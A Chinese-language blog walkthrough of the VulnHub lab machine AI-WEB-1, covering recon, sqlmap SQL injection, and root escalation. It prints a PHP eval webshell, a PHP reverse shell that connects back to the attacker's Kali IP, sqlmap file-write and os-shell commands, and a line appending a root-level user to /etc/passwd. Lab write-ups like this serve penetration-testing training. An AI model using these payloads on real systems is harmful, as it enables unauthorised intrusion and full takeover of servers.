Vulnhub靶机——AI-WEB-1
目录
一、实验环境
1.1 攻击机Kali
1.2 靶机下载
二、站点信息收集
2.1 IP扫描
2.2 端口扫描
2.3 目录扫描
三、漏洞利用
3.1 SQL注入
3.2 文件上传
四、权限提升
4.1 nc反弹连接
4.2 切换用户
一、实验环境
1.1 攻击机Kali
在虚拟机中安装Kali系统并作为攻击机

1.2 靶机下载
(1)下载地址: AI: Web: 1 ~ VulnHub

(2)通过上述简介可以知道,此盒子旨在测试渗透测试人员的技能,目标很简单,从 /root/flag.txt 获取标志。枚举 box,获取低权限 shell,然后将权限提升到 root。
(3)直接在VMware虚拟机中打开该靶机

1.3 工具准备
- Sqlmap
- BurpSuite
- 蚁剑
二、站点信息收集
2.1 IP扫描
(1)使用命令netdiscover查找靶机的IP地址

(2)发现地址为192.168.101.132

2.2 端口扫描
(1)使用nmap工具对目标机进行端口扫描,发现只开启了80端口

(2)访问80端口,页面无可用信息

2.3 目录扫描
(1)使用dirsearch工具对网站目录进行扫描,发现robots.txt文件

(2)直接访问robots.txt文件,发现文件中有两个目录

(3)访问这两个目录,访问失败,均无权限


(4)使用dirsearch工具对目录/m3diNf0进行扫描,发现info.php文件
dirsearch -u http://192.168.101.132/m3diNf0 
(5)使用dirsearch工具对目录/se3reTdir777进行扫描
dirsearch -u http://192.168.101.132/se3reTdir777 
(6)使用dirb工具对目录/se3reTdir777进行扫描,发现index.php文件
dirb http://192.168.101.132/se3reTdir777 
(7)访问info.php文件,可以发现文件的根路径


(8)访问index.php文件,发现是一个信息查询的界面

三、漏洞利用
3.1 SQL注入
(1)输入单引号 ' ,出现报错信息,证明存在SQL注入漏洞

(2)输入1' or 1=1#,页面有回显信息

(3)使用burpsuite抓包,发现注入点是uid=1&Operation=Submit

(4)使用sqlmap工具进行注入测试,发现了两个数据库:aiweb1、information_schema
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" --dbs 
(5)查找aiweb1数据库下的表名,发现两个表:user、systemUser
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 --tables 
(6)查找systemUser表下的字段名
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 -T systemUser --columns 
(7)查找systemUser表中的数据,没有发现有用的信息
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 -T systemUser -C id,password,userName --dump 
3.2 文件上传
(1)使用sqlmap工具中的os-shell功能,通过SQL注入漏洞在目标服务器上执行操作系统命令
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/" -data "uid=1&Operation=Submit" --os-shell 分别选择4-php、Y和2-绝对路径,并输入拼接的上述找到的网站根路径与上传路径 /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads

(2)在kali里新建一个muma.php,写入一句话木马
<?php @eval($_POST['cmd']);?> //一句话木马,密码为cmd (3)将一句话木马上传到网站/se3reTdir777/uploads目录下
sqlmap -u "http://192.168.101.132/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write muma.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/muma.php 
(4)在os-shell界面输入ls查看,一句话木马上传成功

(5)文件夹名为uploads,猜测可能存在文件上传漏洞,依次访问上述php文件,发现一个文件上传页面

四、权限提升
使用蚁剑进行连接已经上传的一句话木马

4.1 nc反弹连接
(1)在kali中开启监听

(2)新建一个nc.php文件,编写nc反弹脚本
<?php
$sock=fsockopen("192.168.101.130",9999); //这里是kali的IP
exec("/bin/bash -i <&3 >&3 2>&3");
?> (3)在找到的文件上传页面上传该文件

(4)在蚁剑终端中输入ls,发现nc.php文件上传成功,执行该文件
php nc.php 
(5)kali中监听成功

4.2 切换用户
(1)查找当前用户有写权限的文件
find / -writable -type f 2>/dev/null 

(2)方法一:使用perl对密码进行加密
perl -le 'print crypt("awuawu","aa")' //第一个参数是密码,第二个参数是盐值 
方法二:使用openssl加密
openssl passwd -1 -salt aa awuawu (3)将用户xjy写入/etc/passwd中
echo "xjy:aa2bf6PiqD9iI:0:0:root:/root:/bin/bash" >>/etc/passwd 
(4) 查看是否成功写入

(5)我们当前获得的webshell是一个非交互式的,使用脚本获得一个交互式的webshell,并切换用户
python -c "import pty;pty.spawn('/bin/bash')" 
(6)切换目录,查找flag

声明
1.本博客文章均为博主日常学习原创内容,转载请注明出处。
2.文章内容如有涉及侵犯您的知识产权和版权问题,请及时与我联系。
3.希望以上的学习经验分享能对您有所帮助。
4.本内容仅供学习和研究使用,严禁用于任何非法或不道德的行为,任何违反法律的行为将由行为人自行承担。
相关文章:
Vulnhub靶机——AI-WEB-1
目录 一、实验环境 1.1 攻击机Kali 1.2 靶机下载 二、站点信息收集 2.1 IP扫描 2.2 端口扫描 2.3 目录扫描 三、漏洞利用 3.1 SQL注入 3.2 文件上传 四、权限提升 4.1 nc反弹连接 4.2 切换用户 一、实验环境 1.1 攻击机Kali 在虚拟机中安装Kali系统并作为攻击机 1.2 靶机下载 (…...
无人系统:未来科技的智能化代表
无人系统(Unmanned Systems)是指在不依赖人类直接干预的情况下,通过自主或远程控制方式完成任务的系统。随着科技的不断进步,特别是在人工智能、机器人学、传感技术、通信技术等领域的突破,无人系统在各行各业中得到了…...
在Docker中部署DataKit最佳实践
本文主要介绍如何在 Docker 中安装 DataKit。 配置和启动 DataKit 容器 登陆观测云平台,点击「集成」 -「DataKit」 - 「Docker」,然后拷贝第二步的启动命令,启动参数按实际情况配置。 拷贝启动命令: sudo docker run \--hostn…...
进程的状态 ─── linux第11课
目录 编辑 补充知识: 1.并行和并发 分时操作系统(Time-Sharing Systems) 实时操作系统(Real-Time Systems) 进程的状态(操作系统层面) 编辑 运行状态 阻塞状态 状态总结: 挂起状态 linux下的进程状态 补充知识: …...
MySQL数据库基本概念
目录 什么是数据库 从软件角度出发 从网络角度出发 MySQL数据库的client端和sever端进程 mysql的client端进程连接sever端进程 mysql配置文件 MySql存储引擎 MySQL的sql语句的分类 数据库 库的操作 创建数据库 不同校验规则对查询的数据的影响 不区分大小写 区…...
什么是 jQuery
一、jQuery 基础入门 (一)什么是 jQuery jQuery 本质上是一个快速、小巧且功能丰富的 JavaScript 库。它将 JavaScript 中常用的功能代码进行了封装,为开发者提供了一套简洁、高效的 API,涵盖了 HTML 文档遍历与操作、事件处理、…...
Redis Desktop Manager(Redis可视化工具)安装及使用详细教程
一、安装包下载 直接从官网下载,官网下载链接地址:Downloads - Redis 二、安装步骤 2.1说明 Redis Desktop Manager是一款简单快速、跨平台的Redis桌面管理工具,也也被称作Redis可视化工具。 支持命令控制台操作,以及常用&…...
[KEIL]单片机技巧 01
1、查看外设寄存器的值 配合对应的芯片开发手册以查看寄存器及其每一位的意义,可以解决90%以上的单纯的片内外设bug,学会如何通过寄存器的值来排外设上的蛊是嵌入式开发从小白到入门的重要一步,一定要善于使用这个工具,而不是外设…...
云原生监控篇——全链路可观测性与AIOps实战
引言:监控即生命线 2023年某全球支付平台因一次未被捕获的数据库连接泄漏,导致每小时损失120万美元。而另一家社交巨头通过实时异常检测系统,在30秒内自动隔离了大规模DDoS攻击。这两个案例揭示了云原生时代的核心生存法则——监控不是可选项…...
C# 13与.NET 9革新及工业开发应用
摘要 微软推出的C# 13与.NET 9以“高效且智能”为导向,具备扩展类型、半自动属性、锁对象优化等十大革新。本文深入剖析新特性于工业级开发的应用场景,包含性能优化策略、AI集成方案以及EF Core实战技巧,为开发者提供从理论到实践的完整指引…...
Linux系统之DHCP网络协议
目录 一、DHCP概述 二、DHCP部署实操 2.1、安装DHCP软件 2.2、拷贝配置文件 2.3、配置文件详解 2.4、重启软件服务 2.5、新开一台服务器,查看dhcp地址获取 一、DHCP概述 DHCP(Dynamic Host Configuration Protocol)是一种应用层网络协…...
【Linux】【网络】不同子网下的客户端和服务器通信其它方式
【Linux】【网络】不同子网下的客户端和服务器通信其它方式 那么,在 NAT 环境下,应该如何让内网设备做为服务器,使内网设备被外部连接? 1 多拨 部分运营商,支持在多个设备上,通过 PPPoE 登录同一个宽带账…...
【C++/数据结构】栈
零.导言 栈是一种数据结构,在后续的学习中可能经常使用,因此我们今天就来学习如何实现栈,以更好地使用它。 一.栈的实现 栈的形式如下: #include<iostream> #include<cassert>using namespace std;typedef int Stack…...
Qt 对象树详解:从原理到运用
1. 什么是对象树? 对象树是一种基于父子关系的对象管理机制。在 Qt 中,所有继承自 QObject 的类都可以参与到对象树中。 当一个对象被设置为另一个对象的父对象时,子对象会被添加到父对象的内部列表中,形成一种树状结构。 Qt 提…...
【软路由】ImmortalWrt 编译指南:从入门到精通
对于喜欢折腾路由器,追求极致性能和定制化的玩家来说,OpenWrt 无疑是一个理想的选择。而在众多 OpenWrt 衍生版本中,ImmortalWrt 以其更活跃的社区、更激进的特性更新和对新硬件的支持而备受关注。 本文将带你深入了解 ImmortalWrt࿰…...
【智能音频新风尚】智能音频眼镜+FPC,打造极致听觉享受!【新立电子】
智能音频眼镜,作为一款将时尚元素与前沿科技精妙融合的智能设备,这种将音频技术与眼镜形态完美结合的可穿戴设备,不仅解放了用户的双手,更为人们提供了一种全新的音频交互体验。新立电子FPC在智能音频眼镜中的应用,为音…...
第2章 windows故障排除(网络安全防御实战--蓝军武器库)
网络安全防御实战--蓝军武器库是2020年出版的,已经过去3年时间了,最近利用闲暇时间,抓紧吸收,总的来说,第2章开始带你入门了,这里给出了几个windows重要的工具,说实话,好多我也是第一…...
深度学习笔记——线性回归的从0开始实现
记录学习到的知识: 语义分割是将标签或类别与图片的每个像素关联的一种深度学习算法。 它用来识别构成可区分类别的像素集合。 图像分割是一个端到端图像分析过程,它将数字图像分成多个片段,并对每个区域中包含的信息进行分类。三种图像分割…...
配置Spring Boot中的Jackson序列化
配置Spring Boot中的Jackson序列化 在开发基于Spring Boot的应用程序时,Jackson是默认的JSON序列化和反序列化工具。它提供了强大的功能,可以灵活地处理JSON数据。然而,Jackson的默认行为可能无法完全满足我们的需求。例如,日期格…...
AWS跨账号服务全解析:安全共享资源的最佳实践
在复杂的云环境中,企业常常需要将不同业务部门、项目或环境分配到独立的AWS账户中,以实现资源隔离和权限管控。然而,跨账户的资源共享与协作需求也随之而来。AWS为此提供了丰富的跨账号服务,允许不同账户之间安全、高效地共享资源。本文将深入解析这些服务,并结合实际场景…...
浅谈 React Hooks
React Hooks 是 React 16.8 引入的一组 API,用于在函数组件中使用 state 和其他 React 特性(例如生命周期方法、context 等)。Hooks 通过简洁的函数接口,解决了状态与 UI 的高度解耦,通过函数式编程范式实现更灵活 Rea…...
376. Wiggle Subsequence
376. Wiggle Subsequence 代码 class Solution { public:int wiggleMaxLength(vector<int>& nums) {int n nums.size();int res 1;int prediff 0;int curdiff 0;for(int i 0;i < n-1;i){curdiff nums[i1] - nums[i];if( (prediff > 0 && curdif…...
Python实现prophet 理论及参数优化
文章目录 Prophet理论及模型参数介绍Python代码完整实现prophet 添加外部数据进行模型优化 之前初步学习prophet的时候,写过一篇简单实现,后期随着对该模型的深入研究,本次记录涉及到prophet 的公式以及参数调优,从公式可以更直观…...
ESP32 I2S音频总线学习笔记(四): INMP441采集音频并实时播放
简介 前面两期文章我们介绍了I2S的读取和写入,一个是通过INMP441麦克风模块采集音频,一个是通过PCM5102A模块播放音频,那如果我们将两者结合起来,将麦克风采集到的音频通过PCM5102A播放,是不是就可以做一个扩音器了呢…...
华为OD机试-食堂供餐-二分法
import java.util.Arrays; import java.util.Scanner;public class DemoTest3 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseint a in.nextIn…...
数据库分批入库
今天在工作中,遇到一个问题,就是分批查询的时候,由于批次过大导致出现了一些问题,一下是问题描述和解决方案: 示例: // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...
Caliper 配置文件解析:config.yaml
Caliper 是一个区块链性能基准测试工具,用于评估不同区块链平台的性能。下面我将详细解释你提供的 fisco-bcos.json 文件结构,并说明它与 config.yaml 文件的关系。 fisco-bcos.json 文件解析 这个文件是针对 FISCO-BCOS 区块链网络的 Caliper 配置文件,主要包含以下几个部…...
OpenLayers 分屏对比(地图联动)
注:当前使用的是 ol 5.3.0 版本,天地图使用的key请到天地图官网申请,并替换为自己的key 地图分屏对比在WebGIS开发中是很常见的功能,和卷帘图层不一样的是,分屏对比是在各个地图中添加相同或者不同的图层进行对比查看。…...
Java多线程实现之Thread类深度解析
Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...
【MATLAB代码】基于最大相关熵准则(MCC)的三维鲁棒卡尔曼滤波算法(MCC-KF),附源代码|订阅专栏后可直接查看
文章所述的代码实现了基于最大相关熵准则(MCC)的三维鲁棒卡尔曼滤波算法(MCC-KF),针对传感器观测数据中存在的脉冲型异常噪声问题,通过非线性加权机制提升滤波器的抗干扰能力。代码通过对比传统KF与MCC-KF在含异常值场景下的表现,验证了后者在状态估计鲁棒性方面的显著优…...
